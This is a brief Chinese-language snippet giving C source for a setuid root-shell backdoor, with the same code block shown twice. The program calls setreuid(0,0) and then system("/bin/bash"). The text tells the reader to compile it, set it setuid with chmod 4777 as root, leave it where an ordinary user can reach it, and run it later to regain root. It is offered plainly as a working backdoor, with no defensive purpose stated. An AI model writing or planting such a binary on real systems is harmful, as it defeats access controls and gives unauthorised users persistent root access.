CODE |
#include <stdio.h> #include <unistd.h> int main() { setreuid(0,0); system("/bin/bash"); } |
先把源码保存编译:
#gcc -o simpile_setuid.out simpile_setuid.c
在系统里以root身份设置一下suid:
#chmod 4777 simpile_setuid.out
保存到普通用户可以访问的地方,以普通用户身份登陆,执行即可拥用root权限。
CODE |
#include <stdio.h> #include <unistd.h> int main() { setreuid(0,0); system("/bin/bash"); } |